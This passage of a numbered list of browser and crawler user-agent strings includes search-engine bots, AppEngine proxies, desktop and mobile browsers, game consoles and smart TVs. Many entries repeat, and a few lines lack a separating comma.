  1378. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1379. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1380. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1381. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1382. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1383. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1384. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1385. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1386. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1387. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1388. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1389. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1390. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1391. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1392. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  1393. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  1394. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  1395. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  1396. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  1397. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  1398. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  1399. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  1400. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  1401. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  1402. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  1403. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  1404. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  1405. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  1406. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  1407. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  1408. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  1409. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  1410. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  1411. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  1412. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  1413. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  1414. "Opera/9.20 (Windows NT 6.0; U; en)",
  1415. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  1416. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  1417. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  1418. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  1419. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  1420. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  1421. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  1422. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  1423. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  1424. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1425. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1426. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  1427. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  1428. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  1429. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  1430. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  1431. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  1432. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  1433. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  1434. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1435. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  1436. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  1437. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1438. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1439. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1440. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1441. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1442. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1443. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1444. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1445. "wii libnup/1.0",
  1446. "PSP (PlayStation Portable); 2.00",
  1447. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1448. "Doris/1.15 [en] (Symbian)",
  1449. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1450. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  1451. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  1452. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  1453. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  1454. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  1455. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  1456. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  1457. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  1458. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  1459. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  1460. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1461. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1462. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  1463. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1464. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  1465. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/2011236 Firefox/9.0 Fennec/9.0",
  1466. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  1467. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  1468. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  1469. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1470. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  1471. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  1472. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  1473. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  1474. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1475. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1476. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1477. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1478. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1479. "Opera/6.04 (Windows XP; U) [en]",
  1480. "Opera/9.99 (X11; U; sk)",
  1481. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1482. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1483. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/2002233 Debian/1.2.9-0.bunk",
  1484. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1485. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1486. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1487. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1488. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1489. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1490. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1491. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1492. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1493. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1494. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1495. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1496. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1497. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1498. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1499. "wii libnup/1.0",
  1500. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1501. "PSP (PlayStation Portable); 2.00",
  1502. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  1503. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1504. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  1505. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  1506. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  1507. "Doris/1.15 [en] (Symbian)",
  1508. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1509. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  1510. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  1511. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  1512. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  1513. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  1514. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  1515. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  1516. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  1517. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  1518. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  1519. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1520. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1521. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  1522. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1523. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  1524. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/2011236 Firefox/9.0 Fennec/9.0",
  1525. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  1526. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  1527. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  1528. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1529. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  1530. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  1531. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  1532. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  1533. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  1534. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  1535. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  1536. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  1537. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  1538. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  1539. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  1540. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  1541. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  1542. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  1543. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  1544. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1545. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1546. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  1547. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  1548. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  1549. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  1550. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  1551. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  1552. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  1553. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  1554. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  1555. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  1556. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1557. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  1558. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1559. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  1560. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  1561. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  1562. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  1563. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  1564. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  1565. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  1566. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  1567. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  1568. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  1569. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  1570. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  1571. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  1572. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  1573. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  1574. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1575. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1576. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1577. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1578. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1579. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1580. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1581. "Opera/6.04 (Windows XP; U) [en]",
  1582. "Opera/9.99 (X11; U; sk)",
  1583. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1584. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1585. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/2002233 Debian/1.2.9-0.bunk",
  1586. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1587. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1588. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1589. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  1590. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  1591. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  1592. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  1593. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  1594. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  1595. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  1596. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  1597. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  1598. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  1599. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1600. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  1601. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1602. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  1603. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  1604. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  1605. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  1606. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1607. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1608. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1609. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1610. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1611. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1612. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1613. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1614. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  1615. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1616. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1617. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1618. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1619. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1620. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1621. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1622. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1623. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1624. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
